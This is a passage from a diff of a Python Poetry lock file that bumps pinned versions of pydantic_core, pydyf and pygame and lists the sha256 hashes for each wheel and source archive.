"sha256:eca58e319f4fd6df004762419612122b2c7e7d95ffafc37e890252f869f3fb2a"}, - {file = "pydantic_core-2.16.2-pp39-pypy39_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:ed957db4c33bc99895f3a1672eca7e80e8cda8bd1e29a80536b4ec2153fa9804"}, - {file = "pydantic_core-2.16.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:459c0d338cc55d099798618f714b21b7ece17eb1a87879f2da20a3ff4c7628e2"}, - {file = "pydantic_core-2.16.2.tar.gz", hash = "sha256:0ba503850d8b8dcc18391f10de896ae51d37fe5fe43dbfb6a35c5c5cad271a06"}, + {file = "pydantic_core-2.18.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:f76d0ad001edd426b92233d45c746fd08f467d56100fd8f30e9ace4b005266e4"}, + {file = "pydantic_core-2.18.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:59ff3e89f4eaf14050c8022011862df275b552caef8082e37b542b066ce1ff26"}, + {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a55b5b16c839df1070bc113c1f7f94a0af4433fcfa1b41799ce7606e5c79ce0a"}, + {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4d0dcc59664fcb8974b356fe0a18a672d6d7cf9f54746c05f43275fc48636851"}, + {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8951eee36c57cd128f779e641e21eb40bc5073eb28b2d23f33eb0ef14ffb3f5d"}, + {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4701b19f7e3a06ea655513f7938de6f108123bf7c86bbebb1196eb9bd35cf724"}, + {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e00a3f196329e08e43d99b79b286d60ce46bed10f2280d25a1718399457e06be"}, + {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:97736815b9cc893b2b7f663628e63f436018b75f44854c8027040e05230eeddb"}, + {file = "pydantic_core-2.18.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:6891a2ae0e8692679c07728819b6e2b822fb30ca7445f67bbf6509b25a96332c"}, + {file = "pydantic_core-2.18.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:bc4ff9805858bd54d1a20efff925ccd89c9d2e7cf4986144b30802bf78091c3e"}, + {file = "pydantic_core-2.18.4-cp310-none-win32.whl", hash = "sha256:1b4de2e51bbcb61fdebd0ab86ef28062704f62c82bbf4addc4e37fa4b00b7cbc"}, + {file = "pydantic_core-2.18.4-cp310-none-win_amd64.whl", hash = "sha256:6a750aec7bf431517a9fd78cb93c97b9b0c496090fee84a47a0d23668976b4b0"}, + {file = "pydantic_core-2.18.4-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:942ba11e7dfb66dc70f9ae66b33452f51ac7bb90676da39a7345e99ffb55402d"}, + {file = "pydantic_core-2.18.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b2ebef0e0b4454320274f5e83a41844c63438fdc874ea40a8b5b4ecb7693f1c4"}, + {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a642295cd0c8df1b86fc3dced1d067874c353a188dc8e0f744626d49e9aa51c4"}, + {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5f09baa656c904807e832cf9cce799c6460c450c4ad80803517032da0cd062e2"}, + {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:98906207f29bc2c459ff64fa007afd10a8c8ac080f7e4d5beff4c97086a3dabd"}, + {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:19894b95aacfa98e7cb093cd7881a0c76f55731efad31073db4521e2b6ff5b7d"}, + {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0fbbdc827fe5e42e4d196c746b890b3d72876bdbf160b0eafe9f0334525119c8"}, + {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f85d05aa0918283cf29a30b547b4df2fbb56b45b135f9e35b6807cb28bc47951"}, + {file = "pydantic_core-2.18.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e85637bc8fe81ddb73fda9e56bab24560bdddfa98aa64f87aaa4e4b6730c23d2"}, + {file = "pydantic_core-2.18.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:2f5966897e5461f818e136b8451d0551a2e77259eb0f73a837027b47dc95dab9"}, + {file = "pydantic_core-2.18.4-cp311-none-win32.whl", hash = "sha256:44c7486a4228413c317952e9d89598bcdfb06399735e49e0f8df643e1ccd0558"}, + {file = "pydantic_core-2.18.4-cp311-none-win_amd64.whl", hash = "sha256:8a7164fe2005d03c64fd3b85649891cd4953a8de53107940bf272500ba8a788b"}, + {file = "pydantic_core-2.18.4-cp311-none-win_arm64.whl", hash = "sha256:4e99bc050fe65c450344421017f98298a97cefc18c53bb2f7b3531eb39bc7805"}, + {file = "pydantic_core-2.18.4-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:6f5c4d41b2771c730ea1c34e458e781b18cc668d194958e0112455fff4e402b2"}, + {file = "pydantic_core-2.18.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:2fdf2156aa3d017fddf8aea5adfba9f777db1d6022d392b682d2a8329e087cef"}, + {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4748321b5078216070b151d5271ef3e7cc905ab170bbfd27d5c83ee3ec436695"}, + {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:847a35c4d58721c5dc3dba599878ebbdfd96784f3fb8bb2c356e123bdcd73f34"}, + {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3c40d4eaad41f78e3bbda31b89edc46a3f3dc6e171bf0ecf097ff7a0ffff7cb1"}, + {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:21a5e440dbe315ab9825fcd459b8814bb92b27c974cbc23c3e8baa2b76890077"}, + {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:01dd777215e2aa86dfd664daed5957704b769e726626393438f9c87690ce78c3"}, + {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4b06beb3b3f1479d32befd1f3079cc47b34fa2da62457cdf6c963393340b56e9"}, + {file = "pydantic_core-2.18.4-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:564d7922e4b13a16b98772441879fcdcbe82ff50daa622d681dd682175ea918c"}, + {file = "pydantic_core-2.18.4-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:0eb2a4f660fcd8e2b1c90ad566db2b98d7f3f4717c64fe0a83e0adb39766d5b8"}, + {file = "pydantic_core-2.18.4-cp312-none-win32.whl", hash = "sha256:8b8bab4c97248095ae0c4455b5a1cd1cdd96e4e4769306ab19dda135ea4cdb07"}, + {file = "pydantic_core-2.18.4-cp312-none-win_amd64.whl", hash = "sha256:14601cdb733d741b8958224030e2bfe21a4a881fb3dd6fbb21f071cabd48fa0a"}, + {file = "pydantic_core-2.18.4-cp312-none-win_arm64.whl", hash = "sha256:c1322d7dd74713dcc157a2b7898a564ab091ca6c58302d5c7b4c07296e3fd00f"}, + {file = "pydantic_core-2.18.4-cp38-cp38-macosx_10_12_x86_64.whl", hash = "sha256:823be1deb01793da05ecb0484d6c9e20baebb39bd42b5d72636ae9cf8350dbd2"}, + {file = "pydantic_core-2.18.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ebef0dd9bf9b812bf75bda96743f2a6c5734a02092ae7f721c048d156d5fabae"}, + {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ae1d6df168efb88d7d522664693607b80b4080be6750c913eefb77e34c12c71a"}, + {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f9899c94762343f2cc2fc64c13e7cae4c3cc65cdfc87dd810a31654c9b7358cc"}, + {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:99457f184ad90235cfe8461c4d70ab7dd2680e28821c29eca00252ba90308c78"}, + {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:18f469a3d2a2fdafe99296a87e8a4c37748b5080a26b806a707f25a902c040a8"}, + {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7cdf28938ac6b8b49ae5e92f2735056a7ba99c9b110a474473fd71185c1af5d"}, + {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:938cb21650855054dc54dfd9120a851c974f95450f00683399006aa6e8abb057"}, + {file = "pydantic_core-2.18.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:44cd83ab6a51da80fb5adbd9560e26018e2ac7826f9626bc06ca3dc074cd198b"}, + {file = "pydantic_core-2.18.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:972658f4a72d02b8abfa2581d92d59f59897d2e9f7e708fdabe922f9087773af"}, + {file = "pydantic_core-2.18.4-cp38-none-win32.whl", hash = "sha256:1d886dc848e60cb7666f771e406acae54ab279b9f1e4143babc9c2258213daa2"}, + {file = "pydantic_core-2.18.4-cp38-none-win_amd64.whl", hash = "sha256:bb4462bd43c2460774914b8525f79b00f8f407c945d50881568f294c1d9b4443"}, + {file = "pydantic_core-2.18.4-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:44a688331d4a4e2129140a8118479443bd6f1905231138971372fcde37e43528"}, + {file = "pydantic_core-2.18.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a2fdd81edd64342c85ac7cf2753ccae0b79bf2dfa063785503cb85a7d3593223"}, + {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:86110d7e1907ab36691f80b33eb2da87d780f4739ae773e5fc83fb272f88825f"}, + {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:46387e38bd641b3ee5ce247563b60c5ca098da9c56c75c157a05eaa0933ed154"}, + {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:123c3cec203e3f5ac7b000bd82235f1a3eced8665b63d18be751f115588fea30"}, + {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dc1803ac5c32ec324c5261c7209e8f8ce88e83254c4e1aebdc8b0a39f9ddb443"}, + {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:53db086f9f6ab2b4061958d9c276d1dbe3690e8dd727d6abf2321d6cce37fa94"}, + {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:abc267fa9837245cc28ea6929f19fa335f3dc330a35d2e45509b6566dc18be23"}, + {file = "pydantic_core-2.18.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:a0d829524aaefdebccb869eed855e2d04c21d2d7479b6cada7ace5448416597b"}, + {file = "pydantic_core-2.18.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:509daade3b8649f80d4e5ff21aa5673e4ebe58590b25fe42fac5f0f52c6f034a"}, + {file = "pydantic_core-2.18.4-cp39-none-win32.whl", hash = "sha256:ca26a1e73c48cfc54c4a76ff78df3727b9d9f4ccc8dbee4ae3f73306a591676d"}, + {file = "pydantic_core-2.18.4-cp39-none-win_amd64.whl", hash = "sha256:c67598100338d5d985db1b3d21f3619ef392e185e71b8d52bceacc4a7771ea7e"}, + {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:574d92eac874f7f4db0ca653514d823a0d22e2354359d0759e3f6a406db5d55d"}, + {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1f4d26ceb5eb9eed4af91bebeae4b06c3fb28966ca3a8fb765208cf6b51102ab"}, + {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77450e6d20016ec41f43ca4a6c63e9fdde03f0ae3fe90e7c27bdbeaece8b1ed4"}, + {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d323a01da91851a4f17bf592faf46149c9169d68430b3146dcba2bb5e5719abc"}, + {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:43d447dd2ae072a0065389092a231283f62d960030ecd27565672bd40746c507"}, + {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:578e24f761f3b425834f297b9935e1ce2e30f51400964ce4801002435a1b41ef"}, + {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:81b5efb2f126454586d0f40c4d834010979cb80785173d1586df845a632e4e6d"}, + {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:ab86ce7c8f9bea87b9d12c7f0af71102acbf5ecbc66c17796cff45dae54ef9a5"}, + {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:90afc12421df2b1b4dcc975f814e21bc1754640d502a2fbcc6d41e77af5ec312"}, + {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:51991a89639a912c17bef4b45c87bd83593aee0437d8102556af4885811d59f5"}, + {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:293afe532740370aba8c060882f7d26cfd00c94cae32fd2e212a3a6e3b7bc15e"}, + {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b48ece5bde2e768197a2d0f6e925f9d7e3e826f0ad2271120f8144a9db18d5c8"}, + {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:eae237477a873ab46e8dd748e515c72c0c804fb380fbe6c85533c7de51f23a8f"}, + {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:834b5230b5dfc0c1ec37b2fda433b271cbbc0e507560b5d1588e2cc1148cf1ce"}, + {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:e858ac0a25074ba4bce653f9b5d0a85b7456eaddadc0ce82d3878c22489fa4ee"}, + {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:2fd41f6eff4c20778d717af1cc50eca52f5afe7805ee530a4fbd0bae284f16e9"}, + {file = "pydantic_core-2.18.4.tar.gz", hash = "sha256:ec3beeada09ff865c344ff3bc2f427f5e6c26401cc6113d77e372c3fdac73864"}, ] [package.dependencies] @@ -1836,104 +1847,104 @@ typing-extensions = ">=4.6.0,<4.7.0 || >4.7.0" [[package]] name = "pydyf" -version = "0.8.0" +version = "0.10.0" description = "A low-level PDF generator." optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "pydyf-0.8.0-py3-none-any.whl", hash = "sha256:901186a2e9f897108139426a6486f5225bdcc9b70be2ec965f25111e42f8ac5d"}, - {file = "pydyf-0.8.0.tar.gz", hash = "sha256:b22b1ef016141b54941ad66ed4e036a7bdff39c0b360993b283875c3f854dd9a"}, + {file = "pydyf-0.10.0-py3-none-any.whl", hash = "sha256:ef76b6c0976a091a9e15827fb5800e5e37e7cd1a3ca4d4bd19d10a14ea8c0ae3"}, + {file = "pydyf-0.10.0.tar.gz", hash = "sha256:357194593efaf61d7b48ab97c3d59722114934967c3df3d7878ca6dd25b04c30"}, ] [package.extras] doc = ["sphinx", "sphinx_rtd_theme"] -test = ["flake8", "isort", "pillow", "pytest"] +test = ["pillow", "pytest", "ruff"] [[package]] name = "pygame" -version = "2.5.2" +version = "2.6.0" description = "Python Game Development" optional = false python-versions = ">=3.6" files = [ - {file = "pygame-2.5.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a0769eb628c818761755eb0a0ca8216b95270ea8cbcbc82227e39ac9644643da"}, - {file = "pygame-2.5.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ed9a3d98adafa0805ccbaaff5d2996a2b5795381285d8437a4a5d248dbd12b4a"}, - {file = "pygame-2.5.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f30d1618672a55e8c6669281ba264464b3ab563158e40d89e8c8b3faa0febebd"}, - {file = "pygame-2.5.2-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:39690e9be9baf58b7359d1f3b2336e1fd6f92fedbbce42987be5df27f8d30718"}, - {file = "pygame-2.5.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:03879ec299c9f4ba23901b2649a96b2143f0a5d787f0b6c39469989e2320caf1"}, - {file = "pygame-2.5.2-cp310-cp310-win32.whl", hash = "sha256:74e1d6284100e294f445832e6f6343be4fe4748decc4f8a51131ae197dae8584"}, - {file = "pygame-2.5.2-cp310-cp310-win_amd64.whl", hash = "sha256:485239c7d32265fd35b76ae8f64f34b0637ae11e69d76de15710c4b9edcc7c8d"}, - {file = "pygame-2.5.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:34646ca20e163dc6f6cf8170f1e12a2e41726780112594ac061fa448cf7ccd75"}, - {file = "pygame-2.5.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3b8a6e351665ed26ea791f0e1fd649d3f483e8681892caef9d471f488f9ea5ee"}, - {file = "pygame-2.5.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dc346965847aef00013fa2364f41a64f068cd096dcc7778fc306ca3735f0eedf"}, - {file = "pygame-2.5.2-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:35632035fd81261f2d797fa810ea8c46111bd78ceb6089d52b61ed7dc3c5d05f"}, - {file = "pygame-2.5.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e24d05184e4195fe5ebcdce8b18ecb086f00182b9ae460a86682d312ce8d31f"}, - {file = "pygame-2.5.2-cp311-cp311-win32.whl", hash = "sha256:f02c1c7505af18d426d355ac9872bd5c916b27f7b0fe224749930662bea47a50"}, - {file = "pygame-2.5.2-cp311-cp311-win_amd64.whl", hash = "sha256:6d58c8cf937815d3b7cdc0fa9590c5129cb2c9658b72d00e8a4568dea2ff1d42"}, - {file = "pygame-2.5.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:1a2a43802bb5e89ce2b3b775744e78db4f9a201bf8d059b946c61722840ceea8"}, - {file = "pygame-2.5.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1c289f2613c44fe70a1e40769de4a49c5ab5a29b9376f1692bb1a15c9c1c9bfa"}, - {file = "pygame-2.5.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:074aa6c6e110c925f7f27f00c7733c6303407edc61d738882985091d1eb2ef17"}, - {file = "pygame-2.5.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fe0228501ec616779a0b9c4299e837877783e18df294dd690b9ab0eed3d8aaab"}, - {file = "pygame-2.5.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:31648d38ecdc2335ffc0e38fb18a84b3339730521505dac68514f83a1092e3f4"}, - {file = "pygame-2.5.2-cp312-cp312-win32.whl", hash = "sha256:224c308856334bc792f696e9278e50d099a87c116f7fc314cd6aa3ff99d21592"}, - {file = "pygame-2.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:dd2d2650faf54f9a0f5bd0db8409f79609319725f8f08af6507a0609deadcad4"}, - {file = "pygame-2.5.2-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:9b30bc1220c457169571aac998e54b013aaeb732d2fd8744966cb1cfab1f61d1"}, - {file = "pygame-2.5.2-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:78fcd7643358b886a44127ff7dec9041c056c212b3a98977674f83f99e9b12d3"}, - {file = "pygame-2.5.2-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:35cf093a51cb294ede56c29d4acf41538c00f297fcf78a9b186fb7d23c0577b6"}, - {file = "pygame-2.5.2-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6fe323acbf53a0195c8c98b1b941eba7ac24e3e2b28ae48e8cda566f15fc4945"}, - {file = "pygame-2.5.2-cp36-cp36m-win32.whl", hash = "sha256:5697528266b4716d9cdd44a5a1d210f4d86ef801d0f64ca5da5d0816704009d9"}, - {file = "pygame-2.5.2-cp36-cp36m-win_amd64.whl", hash = "sha256:edda1f7cff4806a4fa39e0e8ccd75f38d1d340fa5fc52d8582ade87aca247d92"}, - {file = "pygame-2.5.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:9bd738fd4ecc224769d0b4a719f96900a86578e26e0105193658a32966df2aae"}, - {file = "pygame-2.5.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:30a8d7cf12363b4140bf2f93b5eec4028376ca1d0fe4b550588f836279485308"}, - {file = "pygame-2.5.2-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bc12e4dea3e88ea8a553de6d56a37b704dbe2aed95105889f6afeb4b96e62097"}, - {file = "pygame-2.5.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2b34c73cb328024f8db3cb6487a37e54000148988275d8d6e5adf99d9323c937"}, - {file = "pygame-2.5.2-cp37-cp37m-win32.whl", hash = "sha256:7d0a2794649defa57ef50b096a99f7113d3d0c2e32d1426cafa7d618eadce4c7"}, - {file = "pygame-2.5.2-cp37-cp37m-win_amd64.whl", hash = "sha256:41f8779f52e0f6e6e6ccb8f0b5536e432bf386ee29c721a1c22cada7767b0cef"}, - {file = "pygame-2.5.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:677e37bc0ea7afd89dde5a88ced4458aa8656159c70a576eea68b5622ee1997b"}, - {file = "pygame-2.5.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:47a8415d2bd60e6909823b5643a1d4ef5cc29417d817f2a214b255f6fa3a1e4c"}, - {file = "pygame-2.5.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ff21201df6278b8ca2e948fb148ffe88f5481fd03760f381dd61e45954c7dff"}, - {file = "pygame-2.5.2-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d29a84b2e02814b9ba925357fd2e1df78efe5e1aa64dc3051eaed95d2b96eafd"}, - {file = "pygame-2.5.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d78485c4d21133d6b2fbb504cd544ca655e50b6eb551d2995b3aa6035928adda"}, - {file = "pygame-2.5.2-cp38-cp38-win32.whl", hash = "sha256:d851247239548aa357c4a6840fb67adc2d570ce7cb56988d036a723d26b48bff"}, - {file = "pygame-2.5.2-cp38-cp38-win_amd64.whl", hash = "sha256:88d1cdacc2d3471eceab98bf0c93c14d3a8461f93e58e3d926f20d4de3a75554"}, - {file = "pygame-2.5.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:4f1559e7efe4efb9dc19d2d811d702f325d9605f9f6f9ececa39ee6890c798f5"}, - {file = "pygame-2.5.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:cf2191b756ceb0e8458a761d0c665b0c70b538570449e0d39b75a5ba94ac5cf0"}, - {file = "pygame-2.5.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6cf2257447ce7f2d6de37e5fb019d2bbe32ed05a5721ace8bc78c2d9beaf3aee"}, - {file = "pygame-2.5.2-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d75cbbfaba2b81434d62631d0b08b85fab16cf4a36e40b80298d3868927e1299"}, - {file = "pygame-2.5.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:daca456d5b9f52e088e06a127dec182b3638a775684fb2260f25d664351cf1ae"}, - {file = "pygame-2.5.2-cp39-cp39-win32.whl", hash = "sha256:3b3e619e33d11c297d7a57a82db40681f9c2c3ae1d5bf06003520b4fe30c435d"}, - {file = "pygame-2.5.2-cp39-cp39-win_amd64.whl", hash = "sha256:1822d534bb7fe756804647b6da2c9ea5d7a62d8796b2e15d172d3be085de28c6"}, - {file = "pygame-2.5.2-pp36-pypy36_pp73-win32.whl", hash = "sha256:e708fc8f709a0fe1d1876489345f2e443d47f3976d33455e2e1e937f972f8677"}, - {file = "pygame-2.5.2-pp37-pypy37_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c13edebc43c240fb0532969e914f0ccefff5ae7e50b0b788d08ad2c15ef793e4"}, - {file = "pygame-2.5.2-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:263b4a7cbfc9fe2055abc21b0251cc17dea6dff750f0e1c598919ff350cdbffe"}, - {file = "pygame-2.5.2-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:e58e2b0c791041e4bccafa5bd7650623ba1592b8fe62ae0a276b7d0ecb314b6c"}, - {file = "pygame-2.5.2-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a0bd67426c02ffe6c9827fc4bcbda9442fbc451d29b17c83a3c088c56fef2c90"}, - {file = "pygame-2.5.2-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9dcff6cbba1584cf7732ce1dbdd044406cd4f6e296d13bcb7fba963fb4aeefc9"}, - {file = "pygame-2.5.2-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ce4b6c0bfe44d00bb0998a6517bd0cf9455f642f30f91bc671ad41c05bf6f6ae"}, - {file = "pygame-2.5.2-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68c4e8e60b725ffc7a6c6ecd9bb5fcc5ed2d6e0e2a2c4a29a8454856ef16ad63"}, - {file = "pygame-2.5.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1f3849f97372a3381c66955f99a0d58485ccd513c3d00c030b869094ce6997a6"}, - {file = "pygame-2.5.2.tar.gz", hash = "sha256:c1b89eb5d539e7ac5cf75513125fb5f2f0a2d918b1fd6e981f23bf0ac1b1c24a"}, + {file = "pygame-2.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e5707aa9d029752495b3eddc1edff62e0e390a02f699b0f1ce77fe0b8c70ea4f"}, + {file = "pygame-2.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d3ed0547368733b854c0d9981c982a3cdfabfa01b477d095c57bf47f2199da44"}, + {file = "pygame-2.6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6050f3e95f1f16602153d616b52619c6a2041cee7040eb529f65689e9633fc3e"}, + {file = "pygame-2.6.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:89be55b7e9e22e0eea08af9d6cfb97aed5da780f0b3a035803437d481a16d972"}, + {file = "pygame-2.6.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7d65fb222eea1294cfc8206d9e5754d476a1673eb2783c03c4f70e0455320274"}, + {file = "pygame-2.6.0-cp310-cp310-win32.whl", hash = "sha256:71eebb9803cb350298de188fb7cdd3ebf13299f78d59a71c7e81efc649aae348"}, + {file = "pygame-2.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:1551852a2cd5b4139a752888f6cbeeb4a96fc0fe6e6f3f8b9d9784eb8fceab13"}, + {file = "pygame-2.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = 